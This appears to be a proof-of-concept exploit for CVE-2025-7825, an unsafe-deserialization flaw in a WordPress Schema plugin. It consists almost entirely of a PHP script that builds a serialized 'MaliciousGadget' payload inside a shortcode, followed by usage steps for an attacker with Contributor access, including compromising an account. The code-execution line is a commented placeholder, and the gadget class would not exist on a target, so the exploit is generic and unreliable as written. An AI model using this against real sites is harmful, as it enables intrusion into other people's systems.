CVE-2025-7825：WordPress Schema插件反序列化漏洞

<?php /** * CVE-2025-7825 PoC - Unsafe Deserialization via wpt_schema_breadcrumbs shortcode * * This PoC demonstrates how an authenticated attacker with Contributor-level * access can inject a malicious serialized PHP object through the * wpt_schema_breadcrumbs shortcode in the Schema Plugin For Divi, Gutenberg * & Shortcodes (versions <= 4.3.2). * * The exploit requires a POP chain present in another plugin/theme installed * on the target WordPress site to achieve code execution. */ // Step 1: Create a malicious serialized payload // Example: A generic POP gadget payload (requires a compatible POP chain on target) class MaliciousGadget { public $command; public function __destruct() { // If a POP chain with code execution gadget exists on the target, // this could be triggered during deserialization if (isset($this->command)) { // Placeholder for exploitation logic // system($this->command); } } } // Generate serialized payload $payload = serialize(new MaliciousGadget()); // Step 2: Craft the malicious shortcode to be injected into a post // The shortcode will be processed by the vulnerable plugin $malicious_shortcode = '[wpt_schema_breadcrumbs data="' . base64_encode($payload) . '"]'; // Step 3: Attacker with Contributor+ access submits a post containing the shortcode echo $malicious_shortcode; /** * Usage: * 1. Register or compromise an account with Contributor-level access * 2. Create a new post/page containing the crafted shortcode * 3. Submit for review or publish the post * 4. When the post is rendered, the plugin deserializes the payload * 5. If a POP chain exists in another plugin/theme, code execution is achieved * * Note: This vulnerability alone has no direct impact without a POP chain * present in another installed plugin or theme on the target system. */ ?>